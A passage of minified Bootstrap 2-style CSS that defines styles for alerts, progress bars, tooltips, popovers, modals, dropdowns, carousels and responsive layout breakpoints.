.alert h4{margin:0;}
.alert .close{position:relative;top:-2px;right:-21px;line-height:20px;}
.alert-success{background-color:#dff0d8;border-color:#d6e9c6;color:#468847;}
.alert-success h4{color:#468847;}
.alert-danger,.alert-error{background-color:#f2dede;border-color:#eed3d7;color:#b94a48;}
.alert-danger h4,.alert-error h4{color:#b94a48;}
.alert-info{background-color:#d9edf7;border-color:#bce8f1;color:#3a87ad;}
.alert-info h4{color:#3a87ad;}
.alert-block{padding-top:14px;padding-bottom:14px;}
.alert-block>p,.alert-block>ul{margin-bottom:0;}
.alert-block p+p{margin-top:5px;}
@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}@-moz-keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}@-ms-keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}@-o-keyframes progress-bar-stripes{from{background-position:0 0;} to{background-position:40px 0;}}@keyframes progress-bar-stripes{from{background-position:40px 0;} to{background-position:0 0;}}.progress{overflow:hidden;height:20px;margin-bottom:20px;background-color:#f7f7f7;background-image:-moz-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));background-image:-webkit-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-o-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:linear-gradient(to bottom, #f5f5f5, #f9f9f9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff9f9f9', GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}
.progress .bar{width:0%;height:100%;color:#ffffff;float:left;font-size:12px;text-align:center;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top, #149bdf, #0480be);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));background-image:-webkit-linear-gradient(top, #149bdf, #0480be);background-image:-o-linear-gradient(top, #149bdf, #0480be);background-image:linear-gradient(to bottom, #149bdf, #0480be);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff149bdf', endColorstr='#ff0480be', GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width 0.6s ease;-moz-transition:width 0.6s ease;-o-transition:width 0.6s ease;transition:width 0.6s ease;}
.progress .bar+.bar{-webkit-box-shadow:inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);-moz-box-shadow:inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);}
.progress-striped .bar{background-color:#149bdf;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px;}
.progress.active .bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;-ms-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite;}
.progress-danger .bar,.progress .bar-danger{background-color:#dd514c;background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(to bottom, #ee5f5b, #c43c35);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffc43c35', GradientType=0);}
.progress-danger.progress-striped .bar,.progress-striped .bar-danger{background-color:#ee5f5b;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);}
.progress-success .bar,.progress .bar-success{background-color:#5eb95e;background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(to bottom, #62c462, #57a957);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff57a957', GradientType=0);}
.progress-success.progress-striped .bar,.progress-striped .bar-success{background-color:#62c462;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);}
.progress-info .bar,.progress .bar-info{background-color:#4bb1cf;background-image:-moz-linear-gradient(top, #5bc0de, #339bb9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));background-image:-webkit-linear-gradient(top, #5bc0de, #339bb9);background-image:-o-linear-gradient(top, #5bc0de, #339bb9);background-image:linear-gradient(to bottom, #5bc0de, #339bb9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff339bb9', GradientType=0);}
.progress-info.progress-striped .bar,.progress-striped .bar-info{background-color:#5bc0de;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);}
.progress-warning .bar,.progress .bar-warning{background-color:#faa732;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(to bottom, #fbb450, #f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0);}
.progress-warning.progress-striped .bar,.progress-striped .bar-warning{background-color:#fbb450;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);}
.hero-unit{padding:60px;margin-bottom:30px;font-size:18px;font-weight:200;line-height:30px;color:inherit;background-color:#eeeeee;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;}.hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;color:inherit;letter-spacing:-1px;}
.hero-unit li{line-height:30px;}
.media,.media-body{overflow:hidden;*overflow:visible;zoom:1;}
.media,.media .media{margin-top:15px;}
.media:first-child{margin-top:0;}
.media-object{display:block;}
.media-heading{margin:0 0 5px;}
.media>.pull-left{margin-right:10px;}
.media>.pull-right{margin-left:10px;}
.media-list{margin-left:0;list-style:none;}
.tooltip{position:absolute;z-index:1030;display:block;visibility:visible;font-size:11px;line-height:1.4;opacity:0;filter:alpha(opacity=0);}.tooltip.in{opacity:0.8;filter:alpha(opacity=80);}
.tooltip.top{margin-top:-3px;padding:5px 0;}
.tooltip.right{margin-left:3px;padding:0 5px;}
.tooltip.bottom{margin-top:3px;padding:5px 0;}
.tooltip.left{margin-left:-3px;padding:0 5px;}
.tooltip-inner{max-width:200px;padding:8px;color:#ffffff;text-align:center;text-decoration:none;background-color:#000000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}
.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid;}
.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000000;}
.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000000;}
.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000000;}
.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000000;}
.popover{position:absolute;top:0;left:0;z-index:1010;display:none;max-width:276px;padding:1px;text-align:left;background-color:#ffffff;-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);white-space:normal;}.popover.top{margin-top:-10px;}
.popover.right{margin-left:10px;}
.popover.bottom{margin-top:10px;}
.popover.left{margin-left:-10px;}
.popover-title{margin:0;padding:8px 14px;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0;}.popover-title:empty{display:none;}
.popover-content{padding:9px 14px;}
.popover .arrow,.popover .arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid;}
.popover .arrow{border-width:11px;}
.popover .arrow:after{border-width:10px;content:"";}
.popover.top .arrow{left:50%;margin-left:-11px;border-bottom-width:0;border-top-color:#999;border-top-color:rgba(0, 0, 0, 0.25);bottom:-11px;}.popover.top .arrow:after{bottom:1px;margin-left:-10px;border-bottom-width:0;border-top-color:#ffffff;}
.popover.right .arrow{top:50%;left:-11px;margin-top:-11px;border-left-width:0;border-right-color:#999;border-right-color:rgba(0, 0, 0, 0.25);}.popover.right .arrow:after{left:1px;bottom:-10px;border-left-width:0;border-right-color:#ffffff;}
.popover.bottom .arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0, 0, 0, 0.25);top:-11px;}.popover.bottom .arrow:after{top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#ffffff;}
.popover.left .arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0, 0, 0, 0.25);}.popover.left .arrow:after{right:1px;border-right-width:0;border-left-color:#ffffff;bottom:-10px;}
.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000000;}.modal-backdrop.fade{opacity:0;}
.modal-backdrop,.modal-backdrop.fade.in{opacity:0.8;filter:alpha(opacity=80);}
.modal{position:fixed;top:10%;left:50%;z-index:1050;width:560px;margin-left:-280px;background-color:#ffffff;border:1px solid #999;border:1px solid rgba(0, 0, 0, 0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;outline:none;}.modal.fade{-webkit-transition:opacity .3s linear, top .3s ease-out;-moz-transition:opacity .3s linear, top .3s ease-out;-o-transition:opacity .3s linear, top .3s ease-out;transition:opacity .3s linear, top .3s ease-out;top:-25%;}
.modal.fade.in{top:10%;}
.modal-header{padding:9px 15px;border-bottom:1px solid #eee;}.modal-header .close{margin-top:2px;}
.modal-header h3{margin:0;line-height:30px;}
.modal-body{position:relative;overflow-y:auto;max-height:400px;padding:15px;}
.modal-form{margin-bottom:0;}
.modal-footer{padding:14px 15px 15px;margin-bottom:0;text-align:right;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;*zoom:1;}.modal-footer:before,.modal-footer:after{display:table;content:"";line-height:0;}
.modal-footer:after{clear:both;}
.modal-footer .btn+.btn{margin-left:5px;margin-bottom:0;}
.modal-footer .btn-group .btn+.btn{margin-left:-1px;}
.modal-footer .btn-block+.btn-block{margin-left:0;}
.dropup,.dropdown{position:relative;}
.dropdown-toggle{*margin-bottom:-3px;}
.dropdown-toggle:active,.open .dropdown-toggle{outline:0;}
.caret{display:inline-block;width:0;height:0;vertical-align:top;border-top:4px solid #000000;border-right:4px solid transparent;border-left:4px solid transparent;content:"";}
.dropdown .caret{margin-top:8px;margin-left:2px;}
.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;background-color:#ffffff;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);*border-right-width:2px;*border-bottom-width:2px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box;}.dropdown-menu.pull-right{right:0;left:auto;}
.dropdown-menu .divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff;}
.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:20px;color:#333333;white-space:nowrap;}
.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus,.dropdown-submenu:hover>a,.dropdown-submenu:focus>a{text-decoration:none;color:#ffffff;background-color:#0081c2;background-image:-moz-linear-gradient(top, #0088cc, #0077b3);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3));background-image:-webkit-linear-gradient(top, #0088cc, #0077b3);background-image:-o-linear-gradient(top, #0088cc, #0077b3);background-image:linear-gradient(to bottom, #0088cc, #0077b3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0);}
.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#ffffff;text-decoration:none;outline:0;background-color:#0081c2;background-image:-moz-linear-gradient(top, #0088cc, #0077b3);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3));background-image:-webkit-linear-gradient(top, #0088cc, #0077b3);background-image:-o-linear-gradient(top, #0088cc, #0077b3);background-image:linear-gradient(to bottom, #0088cc, #0077b3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0);}
.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#999999;}
.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);cursor:default;}
.open{*z-index:1000;}.open>.dropdown-menu{display:block;}
.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990;}
.pull-right>.dropdown-menu{right:0;left:auto;}
.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid #000000;content:"";}
.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px;}
.dropdown-submenu{position:relative;}
.dropdown-submenu>.dropdown-menu{top:0;left:100%;margin-top:-6px;margin-left:-1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px;}
.dropdown-submenu:hover>.dropdown-menu{display:block;}
.dropup .dropdown-submenu>.dropdown-menu{top:auto;bottom:0;margin-top:0;margin-bottom:-2px;-webkit-border-radius:5px 5px 5px 0;-moz-border-radius:5px 5px 5px 0;border-radius:5px 5px 5px 0;}
.dropdown-submenu>a:after{display:block;content:" ";float:right;width:0;height:0;border-color:transparent;border-style:solid;border-width:5px 0 5px 5px;border-left-color:#cccccc;margin-top:5px;margin-right:-10px;}
.dropdown-submenu:hover>a:after{border-left-color:#ffffff;}
.dropdown-submenu.pull-left{float:none;}.dropdown-submenu.pull-left>.dropdown-menu{left:-100%;margin-left:10px;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px;}
.dropdown .dropdown-menu .nav-header{padding-left:20px;padding-right:20px;}
.typeahead{z-index:1051;margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}
.accordion{margin-bottom:20px;}
.accordion-group{margin-bottom:2px;border:1px solid #e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}
.accordion-heading{border-bottom:0;}
.accordion-heading .accordion-toggle{display:block;padding:8px 15px;}
.accordion-toggle{cursor:pointer;}
.accordion-inner{padding:9px 15px;border-top:1px solid #e5e5e5;}
.carousel{position:relative;margin-bottom:20px;line-height:1;}
.carousel-inner{overflow:hidden;width:100%;position:relative;}
.carousel-inner>.item{display:none;position:relative;-webkit-transition:0.6s ease-in-out left;-moz-transition:0.6s ease-in-out left;-o-transition:0.6s ease-in-out left;transition:0.6s ease-in-out left;}.carousel-inner>.item>img,.carousel-inner>.item>a>img{display:block;line-height:1;}
.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block;}
.carousel-inner>.active{left:0;}
.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%;}
.carousel-inner>.next{left:100%;}
.carousel-inner>.prev{left:-100%;}
.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0;}
.carousel-inner>.active.left{left:-100%;}
.carousel-inner>.active.right{left:100%;}
.carousel-control{position:absolute;top:40%;left:15px;width:40px;height:40px;margin-top:-20px;font-size:60px;font-weight:100;line-height:30px;color:#ffffff;text-align:center;background:#222222;border:3px solid #ffffff;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;opacity:0.5;filter:alpha(opacity=50);}.carousel-control.right{left:auto;right:15px;}
.carousel-control:hover,.carousel-control:focus{color:#ffffff;text-decoration:none;opacity:0.9;filter:alpha(opacity=90);}
.carousel-indicators{position:absolute;top:15px;right:15px;z-index:5;margin:0;list-style:none;}.carousel-indicators li{display:block;float:left;width:10px;height:10px;margin-left:5px;text-indent:-999px;background-color:#ccc;background-color:rgba(255, 255, 255, 0.25);border-radius:5px;}
.carousel-indicators .active{background-color:#fff;}
.carousel-caption{position:absolute;left:0;right:0;bottom:0;padding:15px;background:#333333;background:rgba(0, 0, 0, 0.75);}
.carousel-caption h4,.carousel-caption p{color:#ffffff;line-height:20px;}
.carousel-caption h4{margin:0 0 5px;}
.carousel-caption p{margin-bottom:0;}
.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);}.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15);}
.well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;}
.well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}
.close{float:right;font-size:20px;font-weight:bold;line-height:20px;color:#000000;text-shadow:0 1px 0 #ffffff;opacity:0.2;filter:alpha(opacity=20);}.close:hover,.close:focus{color:#000000;text-decoration:none;cursor:pointer;opacity:0.4;filter:alpha(opacity=40);}
button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none;}
.pull-right{float:right;}
.pull-left{float:left;}
.hide{display:none;}
.show{display:block;}
.invisible{visibility:hidden;}
.affix{position:fixed;}
.fade{opacity:0;-webkit-transition:opacity 0.15s linear;-moz-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear;}.fade.in{opacity:1;}
.collapse{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;-moz-transition:height 0.35s ease;-o-transition:height 0.35s ease;transition:height 0.35s ease;}.collapse.in{height:auto;}
@-ms-viewport{width:device-width;}.hidden{display:none;visibility:hidden;}
.visible-phone{display:none !important;}
.visible-tablet{display:none !important;}
.hidden-desktop{display:none !important;}
.visible-desktop{display:inherit !important;}
@media (min-width:768px) and (max-width:979px){.hidden-desktop{display:inherit !important;} .visible-desktop{display:none !important ;} .visible-tablet{display:inherit !important;} .hidden-tablet{display:none !important;}}@media (max-width:767px){.hidden-desktop{display:inherit !important;} .visible-desktop{display:none !important;} .visible-phone{display:inherit !important;} .hidden-phone{display:none !important;}}.visible-print{display:none !important;}
@media print{.visible-print{display:inherit !important;} .hidden-print{display:none !important;}}@media (max-width:767px){body{padding-left:20px;padding-right:20px;} .navbar-fixed-top,.navbar-fixed-bottom,.navbar-static-top{margin-left:-20px;margin-right:-20px;} .container-fluid{padding:0;} .dl-horizontal dt{float:none;clear:none;width:auto;text-align:left;} .dl-horizontal dd{margin-left:0;} .container{width:auto;} .row-fluid{width:100%;} .row,.thumbnails{margin-left:0;} .thumbnails>li{float:none;margin-left:0;} [class*="span"],.uneditable-input[class*="span"],.row-fluid [class*="span"]{float:none;display:block;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;} .span12,.row-fluid .span12{width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;} .row-fluid [class*="offset"]:first-child{margin-left:0;} .input-large,.input-xlarge,.input-xxlarge,input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;} .input-prepend input,.input-append input,.input-prepend input[class*="span"],.input-append input[class*="span"]{display:inline-block;width:auto;} .controls-row [class*="span"]+[class*="span"]{margin-left:0;} .modal{position:fixed;top:20px;left:20px;right:20px;width:auto;margin:0;}.modal.fade{top:-100px;} .modal.fade.in{top:20px;}}@media (max-width:480px){.nav-collapse{-webkit-transform:translate3d(0, 0, 0);} .page-header h1 small{display:block;line-height:20px;} input[type="checkbox"],input[type="radio"]{border:1px solid #ccc;} .form-horizontal .control-label{float:none;width:auto;padding-top:0;text-align:left;} .form-horizontal .controls{margin-left:0;} .form-horizontal .control-list{padding-top:0;} .form-horizontal .form-actions{padding-left:10px;padding-right:10px;} .media .pull-left,.media .pull-right{float:none;display:block;margin-bottom:10px;} .media-object{margin-right:0;margin-left:0;} .modal{top:10px;left:10px;right:10px;} .modal-header .close{padding:10px;margin:-10px;} .carousel-caption{position:static;}}@media (min-width:768px) and (max-width:979px){.row{margin-left:-20px;*zoom:1;}.row:before,.row:after{display:table;content:"";line-height:0;} .row:after{clear:both;} [class*="span"]{float:left;min-height:1px;margin-left:20px;} .container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:724px;} .span12{width:724px;} .span11{width:662px;} .span10{width:600px;} .span9{width:538px;} .span8{width:476px;} .span7{width:414px;} .span6{width:352px;} .span5{width:290px;} .span4{width:228px;} .span3{width:166px;} .span2{width:104px;} .span1{width:42px;} .offset12{margin-left:764px;} .offset11{margin-left:702px;} .offset10{margin-left:640px;} .offset9{margin-left:578px;} .offset8{margin-left:516px;} .offset7{margin-left:454px;} .offset6{margin-left:392px;} .offset5{margin-left:330px;} .offset4{margin-left:268px;} .offset3{margin-left:206px;} .offset2{margin-left:144px;} .offset1{margin-left:82px;} .row-fluid{width:100%;*zoom:1;}.row-fluid:before,.row-fluid:after{display:table;content:"";line-height:0;} .row-fluid:after{clear:both;} .row-fluid [class*="span"]{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:left;margin-left:2.7624309392265194%;*margin-left:2.709239449864817%;} .row-fluid [class*="span"]:first-child{margin-left:0;} .row-fluid .controls-row [class*="span"]+[class*="span"]{margin-left:2.7624309392265194%;} .row-fluid .span12{width:100%;*width:99.94680851063829%;} .row-fluid 